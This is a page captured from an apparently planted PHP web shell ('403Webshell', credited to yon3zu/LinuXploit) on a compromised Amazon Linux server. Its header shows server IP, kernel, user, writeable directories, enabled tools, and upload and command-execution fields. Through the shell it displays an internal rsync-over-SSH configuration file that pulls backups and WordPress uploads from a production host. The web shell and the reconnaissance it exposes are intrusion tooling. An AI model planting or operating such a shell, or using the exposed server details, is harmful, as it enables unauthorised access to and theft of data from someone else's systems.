403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.216
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/repo/builder/backend/configs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/repo/builder/backend/configs/sync-from-tsai.json
{
  "name": "Sync Data from Tsai Server",
  "description": "Pull backups, Drupal cbt files, and WordPress uploads from the tsai production server",
  "steps": [
    {
      "name": "Sync backups",
      "step_type": "shell",
      "command": "rsync -avzO -e 'ssh -i ${SSH_KEY}' ${SSH_USER}@${SSH_HOST}:${BASE_DIR_REMOTE}bak/ ${BASE_DIR}bak/",
      "timeout": 600,
      "continue_on_failure": true
    },
    {
      "name": "Sync Drupal cbt",
      "step_type": "shell",
      "command": "rsync -avzO -e 'ssh -i ${SSH_KEY}' ${SSH_USER}@${SSH_HOST}:${BASE_DIR_REMOTE}drupal/web/sites/default/files/cbt/ ${BASE_DIR}drupal/web/sites/default/files/cbt/",
      "timeout": 600,
      "continue_on_failure": true
    },
    {
      "name": "Sync johnturman.net uploads",
      "step_type": "shell",
      "command": "rsync -avzO --exclude 'tsai/' -e 'ssh -i ${SSH_KEY}' ${SSH_USER}@${SSH_HOST}:${BASE_DIR_REMOTE}sites/johnturman.net/wp-content/uploads/ ${BASE_DIR}sites/johnturman.net/wp-content/uploads/",
      "timeout": 600,
      "continue_on_failure": true
    },
    {
      "name": "Sync tsai.ai uploads",
      "step_type": "shell",
      "command": "rsync -avzO --exclude 'tsai/' -e 'ssh -i ${SSH_KEY}' ${SSH_USER}@${SSH_HOST}:${BASE_DIR_REMOTE}sites/tsai.ai/wp-content/uploads/ ${BASE_DIR}sites/tsai.ai/wp-content/uploads/",
      "timeout": 600,
      "continue_on_failure": true
    },
    {
      "name": "Sync tsai2 uploads",
      "step_type": "shell",
      "command": "rsync -avzO --exclude 'tsai/' -e 'ssh -i ${SSH_KEY}' ${SSH_USER}@${SSH_HOST}:${BASE_DIR_REMOTE}sites/tsai2/wp-content/uploads/ ${BASE_DIR}sites/tsai2/wp-content/uploads/",
      "timeout": 600,
      "continue_on_failure": true
    },
    {
      "name": "Sync demo.tsai.ai uploads",
      "step_type": "shell",
      "command": "rsync -avzO --exclude 'tsai/' -e 'ssh -i ${SSH_KEY}' ${SSH_USER}@${SSH_HOST}:${BASE_DIR_REMOTE}sites/demo.tsai.ai/wp-content/uploads/ ${BASE_DIR}sites/demo.tsai.ai/wp-content/uploads/",
      "timeout": 600,
      "continue_on_failure": true
    },
    {
      "name": "Sync dev uploads",
      "step_type": "shell",
      "command": "rsync -avzO --exclude 'tsai/' -e 'ssh -i ${SSH_KEY}' ${SSH_USER}@${SSH_HOST}:${BASE_DIR_REMOTE}sites/dev/wp-content/uploads/ ${BASE_DIR}sites/dev/wp-content/uploads/",
      "timeout": 600,
      "continue_on_failure": true
    },
    {
      "name": "Sync sandbox uploads",
      "step_type": "shell",
      "command": "rsync -avzO --exclude 'tsai/' -e 'ssh -i ${SSH_KEY}' ${SSH_USER}@${SSH_HOST}:${BASE_DIR_REMOTE}sites/sandbox/wp-content/uploads/ ${BASE_DIR}sites/sandbox/wp-content/uploads/",
      "timeout": 600,
      "continue_on_failure": true
    },
    {
      "name": "Sync news uploads",
      "step_type": "shell",
      "command": "rsync -avzO --exclude 'tsai/' -e 'ssh -i ${SSH_KEY}' ${SSH_USER}@${SSH_HOST}:${BASE_DIR_REMOTE}sites/news/wp-content/uploads/ ${BASE_DIR}sites/news/wp-content/uploads/",
      "timeout": 600,
      "continue_on_failure": true
    },
    {
      "name": "Sync autosave uploads",
      "step_type": "shell",
      "command": "rsync -avzO --exclude 'tsai/' -e 'ssh -i ${SSH_KEY}' ${SSH_USER}@${SSH_HOST}:${BASE_DIR_REMOTE}sites/autosave/wp-content/uploads/ ${BASE_DIR}sites/autosave/wp-content/uploads/",
      "timeout": 600,
      "continue_on_failure": true
    }
  ],
  "stop_on_failure": false
}

Youez - 2016 - github.com/yon3zu
LinuXploit